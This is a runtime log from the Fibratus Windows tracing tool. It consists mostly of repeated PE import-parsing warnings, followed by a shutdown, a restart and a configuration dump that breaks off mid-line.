data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:54+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:32:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:33:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T11:33:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:33:02+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:33:03+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:33:04+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-12T11:51:12+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-12T11:51:12+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-12T11:51:12+01:00 level=info msg=bootstrapping with pid 18076. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-12T11:51:12+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] use-template=>true port=>25 enabled=>false] systray=>[ quiet-mode=>false enabled=>true sound=>true] eventlog=>[ verbose=>false enabled=>true]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + kstream ........................ [ enable-vamap=>true enable-handle=>false enable-thread=>true enable-image=>true enable-registry=>true flush-interval=>1s enable-audit-api=>true max-buffers=>36 buffer-size=>512 stack-enrichment=>true enable-mem=>true blacklist=>[ events=>[] images=>[]] enable-dns=>true min-buffers=>16 enable-net=>true enable-fileio=>true] + logging ........................ [ max-age=>0 formatter=>text level=>info max-backups=>15 log-stdout=>true max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false method=>POST serializer=>json endpoints=>[] enabled=>false timeout=>5s enable-gzip=>false] amqp=>[ vhost=>/ exchange-type=>topic routing-key=>fibratus exchange=>fibratus passive=>false enabled=>false timeout=>5s durable=>false tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672] elasticsearch=>[ flush-period=>1s healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s timeout=>5s template-name=>fibratus gzip-compression=>false trace-log=>false healthcheck-interval=>10s sniff=>false enabled=>false index-name=>fibratus bulk-workers=>1] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-resources=>false 